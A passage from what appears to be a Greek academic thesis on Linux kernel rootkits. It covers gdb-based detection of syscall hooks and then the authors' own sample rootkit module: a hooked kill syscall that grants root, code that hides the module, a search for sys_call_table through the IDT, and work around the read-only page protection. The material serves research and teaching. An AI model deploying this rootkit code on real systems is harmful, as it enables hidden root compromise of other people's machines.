   Παρακάτω θα υποθέσουμε ότι το rootkit θέλει να αλλάξει τις επιστρεφόμενες
τιμές της συνάρτησης sys_getdents έτσι ώστε να αποκρύψει αρχεία από κάποιον
φάκελο του συστήματος. Για να το επιτύχει αυτό ο επιτιθέμενος θα πρέπει αρχικά
να εισάγει σε μια περιοχή της μνήμης την δική του υλοποίηση της συνάρτησης
sys_getdents και στη συνέχεια να τοποθετήσει τη διεύθυνση της συνάρτησης σε
μια εντολή jmp στα πρώτα bytes της πραγματικής κλήσης συστήματος.
   Για την ανίχνευση της παραβίασης αυτής, θα χρησιμοποιήσουμε και πάλι το
πρόγραμμα gdb με το οποίο θα εμφανίσουμε τις εντολές γλώσσας assembly της
συνάρτησης. Εκτελούμε το gdb με δυο παραμέτρους (την εικόνα στο δίσκο και το
αρχείο kcore) και στη συνέχεια κάνουμε χρήση της εντολής disass του gdb με
την οποία μπορούμε να μετατρέψουμε τον κώδικα από δυαδική μορφή σε εντολές
γλώσσας μηχανής.
debian1:/boot# gdb vmlinux /proc/kcore
(gdb) disass sys_getdents
Dump of assembler code for function sys_getdents:
0xc01698bb <sys_getdents+0>: mov     $0xcc89202d,%ecx
0xc01698bc <sys_getdents+1>: jmp     *%ecx
0xc01698bd <sys_getdents+2>: push    %esi
0xc01698be <sys_getdents+3>: push    %ebx
0xc01698bf <sys_getdents+4>: mov     $0xfffffff2,%ebx
0xc01698c4 <sys_getdents+9>: sub     $0x10,%esp
...

   Παρατηρούμε στο παραπάνω απόσπασμα ότι οι δυο πρώτες εντολές της
συνάρτησης έχουν αντικατασταθεί από δύο άλλες εντολές. Αρχικά η mov
$0xcc89202d,%ecx φορτώνει στον καταχωρητή %ecx τη διεύθυνση 0xcc89202d
και στη συνέχεια η jmp *%ecx εκτρέπει τη ροή εκτέλεσης προς τη διεύθυνση η

68
                                                                     5.1. ΑΝΙΧΝΕΥΣΗ


οποία είναι αποθηκευμένη στον %ecx.
   Η πραγματική ακολουθία εντολών της συνάρτησης sys_getdents μπορεί να
βρεθεί μέσω του αρχείου της εικόνας του πυρήνα στον δίσκο ως εξής:
debian1:/boot# gdb vmlinux
(gdb) disass sys_getdents
Dump of assembler code for function sys_getdents:
0xc01698bb <sys_getdents+0>: push    %ebp
0xc01698bc <sys_getdents+1>: push    %edi
0xc01698bd <sys_getdents+2>: push    %esi
0xc01698be <sys_getdents+3>: push    %ebx
0xc01698bf <sys_getdents+4>: mov     $0xfffffff2,%ebx
0xc01698c4 <sys_getdents+9>: sub     $0x10,%esp
...

   Η έξοδος επιβεβαιώνει ότι πράγματι ο κώδικας της συνάρτησης έχει τροποποιη-
θεί και άρα το σύστημα έχει παραβιαστεί. Μπορούμε να συνεχίσουμε την ανάλυση
εξάγοντας τον κώδικα μηχανής της κακόβουλης συνάρτησης έτσι ώστε να κατανο-
ήσουμε τι ακριβώς κάνει στο σύστημα.


5.1.3 Ανίχνευση της τροποποίησης του χειριστή κλήσεων συστήματος
Με χρήση του εργαλείου gdb μπορούμε να εξάγουμε τον κώδικα οποιασδήποτε
κρίσιμης συνάρτησης του πυρήνα επιθυμούμε. Για να ανιχνεύσουμε την περί-
πτωση τροποποίησης της συνάρτησης χειρισμού κλήσεων συστήματος (συνάρτη-
ση system_call) θα αναλύσουμε ακριβώς αυτή τη συνάρτηση η οποία χρησιμο-
ποιείται για τον εντοπισμό και την την κλήση των κατάλληλων κλήσεων συστή-
ματος στην περίπτωση διακοπής λογισμικού. Ο χειριστής αυτός χρησιμοποιεί τον
πίνακα κλήσεων συστήματος για την εύρεση της διεύθυνσης της κλήσης συστήμα-
τος. Εξάγοντας τον κώδικα μηχανής του χειριστή μπορούμε να ελέγξουμε εάν η
διεύθυνση αυτή έχει τροποποιηθεί. Σε περίπτωση επίθεσης το rootkit θα δημιουρ-
γήσει το δικό του πίνακα κλήσεων συστήματος και η διεύθυνση στον κώδικα της
system_call θα δείχνει σε αυτόν.
debian1:/boot# nm vmlinux |grep sys_call_table
c02834c0 R sys_call_table

debian1:/boot# gdb vmlinux /proc/kcore
(gdb) x/xw system_call
0xc0102c34 <system_call>: 0x1e06fc50

debian1:/boot# gdb vmlinux /proc/kcore


                                                                              69
ΚΕΦΑΛΑΙΟ 5. ΑΝΤΙΜΕΤΡΑ


(gdb) disass 0xc0102c34 0xc0102c88
Dump of assembler code from 0xc0102c34 to 0xc0102c88:
0xc0102c34 <system_call+0>: push   %eax
0xc0102c35 <system_call+1>: cld
0xc0102c36 <system_call+2>: push   %es
0xc0102c37 <system_call+3>: push   %ds
0xc0102c38 <system_call+4>: push   %eax
0xc0102c39 <system_call+5>: push   %ebp
0xc0102c3a <system_call+6>: push   %edi
0xc0102c3b <system_call+7>: push   %esi
0xc0102c3c <system_call+8>: push   %edx
0xc0102c3d <system_call+9>: push   %ecx
0xc0102c3e <system_call+10>: push    %ebx
0xc0102c3f <system_call+11>: mov     $0x7b,%edx
0xc0102c44 <system_call+16>: movl    %edx,%ds
0xc0102c46 <system_call+18>: movl    %edx,%es
0xc0102c48 <system_call+20>: mov     $0xffffe000,%ebp
0xc0102c4d <system_call+25>: and     %esp,%ebp
0xc0102c4f <system_call+27>: testl $0x100,0x30(%esp)
0xc0102c57 <system_call+35>: je      0xc0102c5d <no_singlestep>
0xc0102c59 <system_call+37>: orl     $0x10,0x8(%ebp)
0xc0102c5d <no_singlestep+0>: testw $0x1c1,0x8(%ebp)
0xc0102c63 <no_singlestep+6>: jne    0xc0102d28 <syscall_trace_entry>
0xc0102c69 <no_singlestep+12>: cmp     $0x13e,%eax
0xc0102c6e <no_singlestep+17>: jae     0xc0102d9b <syscall_badsys>
0xc0102c74 <syscall_call+0>: call    *0xc02834c0(,%eax,4)
0xc0102c7b <syscall_call+7>: mov     %eax,0x18(%esp)
0xc0102c7f <syscall_exit+0>: cli
0xc0102c80 <syscall_exit+1>: mov     0x8(%ebp),%ecx
0xc0102c83 <syscall_exit+4>: test    $0xfeff,%cx
End of assembler dump.




     Μπορούμε να παρατηρήσουμε στη διεύθυνση 0xc0102c74 την εντολή call
*0xc02834c0(,%eax,4). Μέσω αυτής την εντολής γίνεται η κλήση της κατάλλη-
λης κλήσης συστήματος, καλώντας τη συνάρτηση η διεύθυνση της οποίας υπάρχει
στη θέση %eax του πίνακα κλήσεων συστήματος. Στην περίπτωση παραβίασης του
συστήματος μέσω ενός rootkit το οποίο χρησιμοποιεί την τεχνική τροποποίησης
του χειριστή κλήσεων συστήματος, η διεύθυνση σε αυτή την εντολή δεν θα είναι
όμοια με αυτή του πίνακα κλήσεων συστήματος.

70
                                                                   5.1. ΑΝΙΧΝΕΥΣΗ


5.1.4 Άλλοι τρόποι ανίχνευσης
Πολλές φορές ο μόνος τρόπος ελέγχου του συστήματος τον οποίο μπορεί να α-
ξιοποιήσει ο διαχειριστής είναι η αναζήτηση για ανωμαλίες στη συμπεριφορά του
συστήματος. Ο λόγος είναι το γεγονός ότι όλες οι υπόλοιπες μέθοδοι δεν είναι α-
ξιόπιστες, και ακόμη περισσότερο εάν έχει παραβιασθεί ο πυρήνας. Στη συνέχεια
θα δούμε αρκετές μεθόδους εύρεσης ύποπτων πληροφοριών βασισμένες στις ανω-
μαλίες. Κάθε μέθοδος επικεντρώνεται σε ένα συγκεκριμένο στοιχείο του συστή-
ματος ή ανωμαλία. Το πιο τυπικό παράδειγμα τέτοιας μεθόδου είναι ο έλεγχος
του εργαλείου συστήματος ls. Εάν το εργαλείο συμπεριφέρεται σωστά, τότε η ε-
πιστρεφόμενες τιμές του ls και echo * σε κάθε φάκελο του συστήματος είναι
πάντα ίδιες. Σε διαφορετική περίπτωση, κάτι ύποπτο συμβαίνει και πρέπει να γί-
νει ανάλυση σε βάθος.

   • Αναζήτηση ανωμαλιών (πχ διαφορετικό output από ls και echo *).

   • Ανωμαλίες στο /proc.

   • Αναζήτηση ύποπτων αρχείων και φακέλων, έλεγχος χρήσης δίσκου, μέτρηση
     αριθμού hard links και total blocks, timestamp analysis.

   • Καταγραφή κλήσεων συστήματος.

   • Στατιστική ανάλυση συμπεριφοράς συστήματος με εργαλεία όπως το Linux
     Trace Toolkit.

   • Παρακολούθηση ροής εκτέλεσης διεργασιών με το strace και καταγραφή
     εξωτερικά.

   • Ανάλυση συνδέσεων δικτύου: nmap εξωτερικά και netstat και lsof εσωτερικά
     πρέπει να έχουν ίδια αποτελέσματα

   • Ανίχνευση promiscuous flag σε κάρτες δικτύου

   • Επιβεβαίωση ακεραιότητα αρχείων: Σχηματισμός αρχείων υπογραφών για
     τα σημαντικά αρχεία του συστήματος, File Integrity Monitors, Tripwire,
     Samhain, AIDE, Έλεγχος ακεραιότητας με μηχανισμούς rpm -V

   • Προγράμματα ανίχνευσης ενδείξεων εκτέλεσης rootkit: Chkrootkit και
     rkhunter

                                                                             71
ΚΕΦΑΛΑΙΟ 5. ΑΝΤΙΜΕΤΡΑ


     • Δημιουργία αντιγράφων ασφαλείας κεντρικών δομών του πυρήνα: KSTAT
      (μόνο για παλαιότερες εκδόσεις του πυρήνα)

     • Μέτρηση χρόνων κλήσεων συστήματος κατά την εκτέλεση: PATCHFINDER

     • Anti-rootkit αρθρώματα πυρήνα: ST. Michael

     • Προγράμματα ανάλυσης συστήματος εκτός λειτουργίας - forensics: The
      Coroner’s Toolkit

     • Παρακολούθηση κίνησης δικτύου από τρίτο σύστημα




72
                                              Ανάπτυξη κώδικα
                                                                    6
6.1 Ανάπτυξη rootkit
Στα πλαίσια της εργασίας κρίθηκε απαραίτητο να αναπτυχθεί ένα υποδειγματικό
rootkit το οποίο θα δρα σε περιβάλλον πυρήνα. Για την εισαγωγή κώδικα στον
πυρήνα (βλ. ενότητα 4.3), το rootkit χρησιμοποιεί την τεχνική αρθρωμάτων πυρή-
να. To σημείο εκτροπής της ροής (βλ. ενότητα 4.4) εκτέλεσης το οποίο επιλέχθηκε
είναι ο πίνακας κλήσεων του συστήματος και συγκεκριμένα χρησιμοποιήθηκε η
τεχνική ανακατεύθυνσης κλήσεων συστήματος.
   Ο πλήρες κώδικας του rootkit υπάρχει στο Παράρτημα B.1, ενώ στο σχήμα 6.1
παρουσιάζεται το διάγραμμα ροής του κώδικα του rootkit.
   Η λειτουργία την οποία παρέχει το rootkit στον εισβολέα είναι η ανύψωση των
δικαιωμάτων οποιουδήποτε απλού χρήστη σε δικαιώματα υπερχρήστη, με χρήση
μόνο μιας εντολής. Μια δεύτερη συμπληρωματική λειτουργία είναι ότι, με επιλογή
του εισβολέα, μπορεί να εξαφανισθεί από τη λίστα αρθρωμάτων πυρήνα και έτσι
να είναι αδύνατος ο εντοπισμός και η αποφόρτωση του.
   Αναλυτικότερα, το rootkit αλλάζει την εγγραφή του πίνακα κλήσεων συστή-
ματος στη θέση __NR_kill (θέση 37), αφού πρώτα την αποθηκεύσει. Όπως έχει
ήδη αναφερθεί, οι εγγραφές του πίνακα είναι στην ουσία οι διευθύνσεις μνήμης
των συναρτήσεων οι οποίες αναλαμβάνουν τον χειρισμό της κάθε κλήσης. Στην
περίπτωση μας, αφού πρώτα αποθηκεύσουμε την αρχική τιμή της εγγραφής, το-
ποθετούμε ένα δείκτη σε μία νέα συνάρτηση η οποία μας δίνει τη λειτουργικότητα
την οποία σχεδιάσαμε. Τη συνάρτηση αυτή την παραθέτουμε στην συνέχεια:
   Η (κανονική) κλήση συστήματος kill χρησιμοποιείται για αποστολή σημάτων
σε διεργασίες. Δέχεται δύο ορίσματα – παραμέτρους: Τον αναγνωριστικό αριθμό
της διεργασίας όπου θα σταλεί ένα σήμα, και τον αριθμό του σήματος το οποίο θα

                                                                           73
     ΚΕΦΑΛΑΙΟ 6. ΑΝΑΠΤΥΞΗ ΚΩΔΙΚΑ


 1   #define SIGNAL_EVIL 50
     #define PID_EVIL 1337
3    int evil_kill(pid_t pid, int signal)
     {
5      if ((PID_EVIL == pid) && (SIGNAL_EVIL == signal))
       {
7        current->uid = current->euid = current->gid = current->egid = 0;
         return(0);
9      }
       else
11     {
         return (*normal_kill)(pid, signal);
13     }
       return(-1);
15   }
          Απόσπασμα κώδικα 6.1: Η κακόβουλη κλήση συστήματος evil_kill()




     σταλεί. Η χρήση της συγκεκριμένης κλήσης συστήματος από περιβάλλον χρήστη
     επιτυγχάνεται με πολλούς τρόπους, όπως με χρήση της συνάρτησης kill() της
     βιβλιοθήκης glibc σε ένα πρόγραμμα γλώσσας C. Ο τρόπους που επιλέγουμε
     είναι πιο απλός: Όλα τα συστήματα Unix περιλαμβάνουν την εντολή /bin/kill
     για τον ίδιο σκοπό.

        Όπως μπορεί να διαπιστωθεί με παρατήρηση του κώδικα της δική μας συ-
     νάρτησης, ο οποίος θα εκτελεστεί σε περίπτωση εντολής kill() από περιβάλλον
     χρήστη, το μόνο που κάνει ο κώδικα είναι μια διπλή σύγκριση. Στην περίπτωση
     που η συνάρτηση έχει κληθεί με πρώτο όρισμα 1337 (αριθμός διεργασίας) και
     δεύτερο όρισμα 50 (αριθμός σήματος), τότε εκτελεί μια εντολή η οποία θέτει τα
     uid,euid,gid,egid στην τιμή 0 για την διεργασία μας. Πρέπει να αναφέρουμε ότι οι
     κλήσεις συστήματος, αν και συναρτήσεις πυρήνα, όταν εκτελούνται τρέχουν στο
     “περιβάλλον” (context) της διεργασίας η οποία τις κάλεσε. Στη συγκεκριμένη πε-
     ρίπτωση, ο χρήστης εκτελεί στο κέλυφος του την εντολή $kill -s 50 1337, η
     οποία είναι μια ψευδοεντολή του κελύφους (bash builtin), και έτσι η διεργασία
     του κελύφους αλλάζει αναγνωριστικά χρήστη. Όταν τα αναγνωριστικά αυτά έχουν
     την τιμή 0 τότε έχουν αποκτηθεί δικαιώματα υπερχρήστη στο σύστημα. Παρα-
     θέτουμε ένα παράδειγμα της χρήσης του λειτουργία του rootkit, σε σύστημα όπου
     αυτό είναι ήδη εγκατεστημένο:

        Στη συνέχεια περιγράφουμε κάποια από τα ενδιαφέροντα σημεία του κώδικα.

     74
                                                                 6.1. ΑΝΑΠΤΥΞΗ ROOTKIT


    joe@debian1:~$ id
    uid=1001(joe) gid=1001(joe) groups=46(plugdev),1001(joe)
    joe@debian1:~$ kill -s 50 1337
    joe@debian1:~$ id
    uid=0(root) gid=0(root) groups=,1001(joe)
    joe@debian1:~$




    6.1.1 Διαγραφή από τη λίστα των αρθρωμάτων
    Κατά την εισαγωγή του αρθρώματος ο εισβολέας μπορεί να επιλέξει να το εισάγει
    με παράμετρο hide=1. Με τον ορισμού της παραμέτρου αυτής, το rootkit θα δια-
    γραφεί από τη λίστα αρθρωμάτων κατά την εισαγωγή του, με αποτέλεσμα να μην
    είναι ορατή η παρουσία του τόσο μέσω της εντολής lsmod όσο και μέσω της λίστας
    αρθρωμάτων στην τοποθεσία /proc/modules. Ο κώδικας ο οποίος υλοποιεί τη
    διαγραφή έχει δίδεται στο απόσπασμα κώδικα 6.2.
    void hide_module(void){
2           lock_kernel();
            __this_module.list.prev->next = __this_module.list.next;
4           __this_module.list.next->prev = __this_module.list.prev;
            __this_module.list.prev = LIST_POISON1;
6           __this_module.list.next = LIST_POISON2;
            unlock_kernel();
8   }

    Απόσπασμα κώδικα 6.2: Τεχνική διαγραφής από τη λίστα αρθρωμάτων πυρήνα



    6.1.2 Εύρεση συμβόλου sys_call_table
    Σε παλαιότερες εκδόσεις του πυρήνα του Linux (μικρότερες της 2.5) το σύμβολο
    του πίνακα κλήσεων συστήματος (sys_call_table) εξαγόταν και άρα ήταν δια-
    θέσιμο προς χρήση από τα αρθρώματα πυρήνα. Αυτό άλλαξε για λόγους ασφαλείας
    με αποτέλεσμα να μη λειτουργούν τα μέχρι τότε rootkit, και να υπάρχουν ελάχι-
    στα rootkits πυρήνα για νεότερες εκδόσεις του πυρήνα. Προφανώς, ένα rootkit δεν
    μπορεί να θεωρήσει δεδομένη την ύπαρξη του των αρχείων /boot/System.map ή
    vmlinux τα οποία περιέχουν τη διεύθυνση αυτή και άρα θα πρέπει να την ανακα-
    λύψει κατά την εισαγωγή του στον πυρήνα πριν την χρησιμοποιήσει προκειμένου
    να εγκατασταθεί και να εκτρέψει επιτυχώς τις κλήσεις συστήματος.
    Για την εύρεση της διεύθυνσης αυτής ακολουθούμε την παρακάτω τεχνική:

                                                                                 75
     ΚΕΦΑΛΑΙΟ 6. ΑΝΑΠΤΥΞΗ ΚΩΔΙΚΑ


       1. Με χρήση της εντολής assembly sidt αποθηκεύουμε το περιεχόμενο του
            καταχωρητή IDTR (Interrupt Descriptor Table Interrupt) σε μία μεταβλητή.
            Ο καταχωρητής αυτός περιέχει τη διεύθυνση του πίνακα περιγραφέων για
            τις διακοπές συστήματος.

       2. Χρησιμοποιώντας τον παραπάνω πίνακα, εξάγουμε τη διεύθυνση της συνάρ-
            τησης χειρισμού της διακοπής λογισμικού 0x80. Για να το κάνουμε αυτό
            αρκεί να αποθηκεύσουμε το περιεχόμενο της θέσης 0x80 του πίνακα, όπου
            βρίσκεται ο περιγραφέας της αντίστοιχης διακοπής. Η διακοπή με αριθμό
            0x80 είναι η διακοπή λογισμικού η οποία χρησιμοποιείται κατά την κλήση
            μια κλήσης συστήματος.

       3. Η συνάρτηση χειρισμού της διακοπής 0x80 είναι η system_call και άρα
            η διεύθυνση η οποία εξάγαμε είναι η διεύθυνση της συγκεκριμένης συνάρ-
            τησης στη μνήμη. Ανατρέχοντας στον κώδικα της συνάρτησης, παρατηρούμε
            ότι για να χειριστεί την διακοπή και να εκτελεσθεί μια κλήση συστήματος,
            χρησιμοποιεί την παρακάτω εντολή γλώσσας μηχανής:
            call *sys_call_table(,%eax,4)
            Η εντολή αυτή γλώσσας μηχανής σε αρχιτεκτονική x86 έχει opcode:
            0xFF 0x14 0x85 <addr4> <addr3> <addr2> <addr1>

       4. Με αρχή την (γνωστή πλέον) διεύθυνση της συνάρτησης system_call και
            για τα επόμενα 128 bytes πραγματοποιούμε αναζήτηση στη μνήμη για την
            ακολουθία bytes 0xFF 0x14 0x85. Όταν τη συναντήσουμε, εξάγουμε τα
            επόμενα 4 bytes τα οποία αποτελούν την εικονική διεύθυνση του πίνακα
            κλήσεων συστήματος.

     Ο κώδικας ο οποίος υλοποιεί την διαδικασία παρατίθεται στο απόσπασμα κώδικα
     6.3.
     struct {
2      unsigned short limit;
       unsigned int base;
4    } __attribute__ ((packed)) idtr;

6    struct {
       unsigned   short offset_low;
8      unsigned   short seg_selector;
       unsigned   char none,flags;
10     unsigned   short offset_high;


     76
                                                                   6.1. ΑΝΑΠΤΥΞΗ ROOTKIT


     } __attribute__ ((packed)) idt;
12   void *find_token(unsigned char *str, int len,unsigned char *token)
     {
14     int i;
       for (i = 0; i < len - 1; i++) {
16       if (str[i] == token[0] && str[i+1] == token[1] && str[i+2] == token[2])
           return &str[i];
18     }
       return NULL;
20   }
     unsigned long *find_sct_via_idt(void)
22   {
       char *result;
24     unsigned long *sctable;
       long system_call_addr = 0;
26

         __asm__ volatile(”sidt %0” : ”=m” (idtr));
28       memcpy(&idt,(void *)idtr.base+sizeof(idt)*0x80,sizeof(idt));
         system_call_addr = idt.offset_low | (idt.offset_high << 16);
30       result = (char*)find_token( (void *)system_call_addr, 128, ”\xff\x14\x85”);
         sctable=(void*)*(unsigned long *)(result+3);
32       return sctable;
     }

     Απόσπασμα κώδικα 6.3: Τεχνική αναζήτησης της διεύθυνσης του πίνακα κλήσεων
     συστήματος μέσω του καταχωρητή IDTR



     6.1.3 Αλλαγή εγγραφών του πίνακα κλήσεων
     Από τη στιγμή όπου έχει προσδιοριστεί η εικονική διεύθυνση του συμβόλου του
     sys_call_table η αλλαγή της διεύθυνσης της κλήσης συστήματος sys_kill με
     αυτή της κλήσης evil_kill του εισβολέα γίνεται με τον τρόπο τον οποίο παρα-
     θέτουμε στο απόσπασμα κώδικα 6.1.3
     void hook_system(void){
             normal_kill = (void *)sys_call_table[__NR_kill];
             lock_kernel();
             sys_call_table[__NR_kill]=(unsigned long)evil_kill;
             unlock_kernel();
     }
     void unhook_system(void){
             lock_kernel();
             sys_call_table[__NR_kill]=(unsigned long)normal_kill;


                                                                                   77
ΚΕΦΑΛΑΙΟ 6. ΑΝΑΠΤΥΞΗ ΚΩΔΙΚΑ


             unlock_kernel();
}



6.1.4 Αλλαγή ιδιοτήτων σελίδας μνήμης
Όπως ήδη περιγράψαμε στη σελίδα 78, από την έκδοση πυρήνα 2.6.16 και έπειτα,
με μία αλλαγή στο αρχείο /usr/src/linux/arch/x86/kernel/entry_32.S
του κώδικα πυρήνα, ο πίνακας κλήσεων του συστήματος έγινε μόνο ανάγνωσης.
Οι προγραμματιστές του πυρήνα προέβησαν στην αλλαγή αυτή σε μια προσπάθεια
να περιοριστεί η δραστικότητα των rootkits. Στην ενότητα αυτή περιγράφουμε μια
τεχνική που αναπτύξαμε με την οποία αλλάζουμε την ιδιότητα αυτή δυναμικά,
επεμβαίνουμε στον πίνακα και στη συνέχεια τον κάνουμε πάλι μόνο – ανάγνωσης.
     Συγκεκριμένα, η τροποποίηση που έγινε είναι η εξής:
    Πυρήνας 2.6.15                    Πυρήνας 2.6.16


    .data                                       .section .rodata,”a”
    ENTRY(sys_call_table)                       ENTRY(sys_call_table)
          .long sys_restart_syscall                  .long sys_restart_syscall
          .long sys_exit                             .long sys_exit
          .long sys_fork                             .long sys_fork
          ...                                        ...


        Η αλλαγή της δήλωσης από “.data” σε “.section .rodata,”a”” έχει σαν α-
ποτέλεσμα τη μεταφορά του ENTRY(sys_call_table) (του πίνακα κλήσεων του
συστήματος) από περιοχή μνήμης data1 σε rodata2 . Αξιοσημείωτο είναι ότι η μο-
ναδική σημαία που δίδεται είναι η “a” η οποία σημαίνει ότι η περιοχή είναι το-
ποθετήσιμη στη μνήμη, ενώ λείπει η σημαία “w” η οποία σημαίνει ότι μπορεί να
γίνει εγγραφή. [29]
        Αυτό που συμβαίνει στην πραγματικότητα είναι η αξιοποίηση του μηχανισμού
προστασίας επιπέδου σελίδας (Page-Level Protection) του επεξεργαστή [30]. Όταν
αυτός ο μηχανισμός είναι σε χρήση μπορούν να προστατευθούν συγκεκριμένες σε-
λίδες από εγγραφή ακόμη και εάν το σύστημα βρίσκεται σε επίπεδο υπερχρήστη.
Για την προστασία σελίδας, κάθε αναφορά στη μνήμη ελέγχεται για να επαληθευ-
τεί ότι ικανοποιούνται οι προϋποθέσεις πρόσβασης. Οι προϋποθέσεις αυτές είναι
    1
        data: Περιοχή η οποία περιέχει δεδομένα ανάγνωσης-εγγραφής αρχικοποιημένα από πρόγραμ-
μα.
    2
        rodata: Περιοχή η οποία περιέχει δεδομένα μόνο ανάγνωσης αρχικοποιημένα από πρόγραμμα.


78
                                                               6.1. ΑΝΑΠΤΥΞΗ ROOTKIT


δυο ειδών:

  1. Περιορισμός στις περιοχές μνήμης όπου μπορούν να διευθυνσιοδοτηθούν
     (ανάλογα του επιπέδου χρήστη ή υπερχρήστη)

  2. Τύπος σελίδας (μόνο ανάγνωσης ή εγγραφής/ανάγνωσης)

Παραβάσεις τον προϋποθέσεων έχουν ως αποτέλεσμα τη δημιουργία εξαίρεσης
λάθους σελίδας.
   Οι πληροφορίες προστασίας για τις σελίδες μνήμης περιέχονται σε δυο σημαίες
(flags) στις εγγραφές του πίνακα σελίδων (Page Table) και του καταλόγου σελίδων
(Page Directory). To bit 1 είναι η σημαία ανάγνωσης/εγγραφής και το bit 2 η
σημαία χρήστη/υπερχρήστη.
   Ο μηχανισμός αυτός, και ειδικότερα η σημαία χρήστη/υπερχρήστη χρησιμο-
ποιείται για την προστασία της μνήμης πυρήνα από εφαρμογές περιβάλλοντος
χρήστη, οι οποίες δεν μπορούν να έχουν πρόσβαση στη μνήμη πυρήνα.
   Στην ενότητα αυτή μας απασχολεί η προστασία του τύπου σελίδας. Ο μηχανι-
σμός προστασίας αναγνωρίζει δυο τύπους σελίδας: Σελίδες μόνο ανάγνωσης, όπου
η σημαία είναι 0, και σελίδες ανάγνωσης και εγγραφής, όπου η σημαία είναι 1.
   Για να κατανοήσουμε τον τρόπο με τον οποίο θα επέμβουμε σε αυτή τη σημαί-
α, θα πρέπει να αναφερθούμε στο μοντέλο μετάφρασης διευθύνσεων μνήμης το
οποίο παρέχει η αρχιτεκτονική του επεξεργαστή και τον τρόπο με τον οποίο αυτό
υλοποιείται στο λειτουργικό σύστημα Linux.
   Σε όλα τα επόμενα άλλα και σε όλη την έκταση της εργασίας έχουμε υποθέσει
ότι εργαζόμαστε σε αρχιτεκτονική IA-32 (διευθύνσεις 32 bit) με μέγιστο χώρο διευ-
θύνσεων φυσικής μνήμης 4 GBytes και μέγεθος σελίδας μνήμης 4 KBytes.
   Παραθέτουμε σχηματικά τον μηχανισμό μετάφρασης εικονικών διευθύνσεων
σε πραγματικές.
   Στην περίπτωσή μας έχουμε ήδη αποκτήσει τη διεύθυνση του συμβόλου
sys_call_table το οποίο μας ενδιαφέρει. Η διεύθυνση αυτή είναι 0xc0386880
στο σύστημα της δοκιμής μας. Η διεύθυνση αυτή μεταφράζεται σε κάποια φυσι-
κή διεύθυνση μνήμη, η οποία βρίσκεται σε κάποια σελίδα μεγέθους 4 KBytes.
Κάθε σελίδα έχει μία εγγραφή σε κάποιον Πίνακα Σελίδων, όπου υπάρχουν και
οι ιδιότητές της, όπως επίσης ο πίνακας αυτός έχει μια εγγραφή στον Κατάλογο
Σελίδων.
   Σύμφωνα με το παραπάνω σχήμα, μετατρέποντας τη διεύθυνση αυτή σε δυα-
δική μορφή έχουμε:

                                                                               79
ΚΕΦΑΛΑΙΟ 6. ΑΝΑΠΤΥΞΗ ΚΩΔΙΚΑ


      • Bits 22 μέχρι 31 (10 bits): Αποτελούν την μετατόπιση στον Κατάλογο Σελίδων
        από την οποία προσδιορίζεται η θέση της εγγραφής του καταλόγου η οποία
        μας αφορά.

      • Bits 12 μέχρι 21 (10 bits): Αποτελούν την μετατόπιση στον Πίνακα Σελίδων
        από την ποία προσδιορίζεται η θέση της εγγραφής του πίνακα η οποία μας
        αφορά.

      • Bits 0 μέχρι 11 (12 bits): Αποτελούν την μετατόπιση μέσα στη σελίδα στην
        οποία βρίσκεται η συγκεκριμένη φυσική διεύθυνση στην οποία αντιστοιχεί η
        εικονική μας.

      Από τα παραπάνω, μπορούμε να προσδιορίσουμε τους αριθμούς των εγγραφών
του Καταλόγου Σελίδων και του Πίνακα Σελίδων οι οποίες μας ενδιαφέρουν.
      Μπορούμε να πάρουμε τους δείκτες αυτούς χρησιμοποιώντας τις ήδη ορι-
σμένες συναρτήσεις του πυρήνα pgd_index() και pte_index() ως εξής3 :
pgd_index = pgd_index((unsigned long)sys_call_table);
pgt_index = pte_index((unsigned long)sys_call_table);

      ή χωρίς χρήση των συναρτήσεων:
pgd_index=((unsigned long)sys_call_table >> 22) & 0x3FF;
pte_index=((unsigned long)sys_call_table >> 12) & 0x3FF;

      Ένας έλεγχος που πρέπει να κάνουμε πριν προχωρήσουμε είναι να ελέγξου-
με εάν το σύστημα όντως χρησιμοποιεί τον απλό μηχανισμό διευθυνσιοδότησης
τον οποίο αναφέρουμε εδώ ή χρησιμοποιεί την λειτουργία PAE (Physical Address
Extension) οπότε δεν μπορούμε να προχωρήσουμε. Για το σκοπό αυτό ελέγχουμε
το bit 5 του καταχωρητή ελέγχου CR4. Εάν το bit αυτό είναι 1, ο μηχανισμός PAE
είναι ενεργός οπότε διακόπτουμε τη διαδικασία. Αυτό γίνεται με τον παρακάτω
κώδικα:
  cr4_value = read_cr4_safe();
  if (cr4_value & 0x20){
    printk(”Error: Processor is using Page-Address Extensions\n”);
    return -ENOSYS;
  }

      Χρειαζόμαστε όμως να προσδιορίσουμε σε ποια εικονική διεύθυνση βρίσκεται
ο Κατάλογος Σελίδων έτσι ώστε να προσπελάσουμε την εγγραφή του. Η φυσική
  3
      sys_call_table στον κώδικα έχει ορισθεί η εικονική διεύθυνση 0xc0386880 του συμβόλου


80
                                                             6.1. ΑΝΑΠΤΥΞΗ ROOTKIT


διεύθυνση του καταλόγου σελίδων είναι πάντοτε αποθηκευμένη σε έναν από τους
καταχωρητές ελέγχου του επεξεργαστή και συγκεκριμένα στον τρίτο. Η δομή του
περιεχομένου του καταχωρητή δίδεται στο σχήμα 6.3
   Όπως παρατηρούμε τα 20 πιο σημαντικά bits του περιεχομένου του καταχω-
ρητή αντιστοιχούν στα 20 πιο σημαντικά bits της φυσικής διεύθυνσης της βάσης
του Καταλόγου Σελίδων του συστήματος. Τα επόμενα 12 bit της διεύθυνσης είναι
0 καθώς ο κατάλογος σελίδων είναι ευθυγραμμισμένος στα 4 KB (όσο το μέγεθος
των σελίδων).
   Χρησιμοποιώντας τη συνάρτηση πυρήνα read_cr3() ή και απευθείας με
κώδικα assembly, αποθηκεύουμε σε μια μεταβλητή τα περιεχόμενα του κατα-
χωρητή ως εξής
cr3_value = read_cr3();ή

__asm__ volatile(”mov %%cr3,%0” : ”=r” (cr3_value));

   Στη συνέχεια, και αφού έχουμε τα περιεχόμενα του CR3, μηδενίζουμε τα τε-
λευταία 12 bits, τα οποία είναι διάφορες σημαίες και δεν μας είναι χρήσιμα, και
μετατρέπουμε τον αριθμό από φυσική διεύθυνση σε εικονική.
   Το λειτουργικό σύστημα Linux δεν χρησιμοποιεί το μηχανισμό του
segmentation παρά μόνο αυτό της σελιδοποίησης (paging). Αυτό έχει σαν απο-
τέλεσμα να θεωρεί ολόκληρη τη μνήμη σαν ένα segment, κάτι που στην περί-
πτωσή μας σημαίνει ότι μπορεί να γίνει ένα-προς-ένα αντιστοίχηση των εικονικών
διευθύνσεων με τις φυσικές. Η μόνη λεπτομέρεια η οποία πρέπει να προσεχθεί
είναι ότι η βάση των διευθύνσεων μνήμης του πυρήνα είναι η 0xC0000000. Αν σε
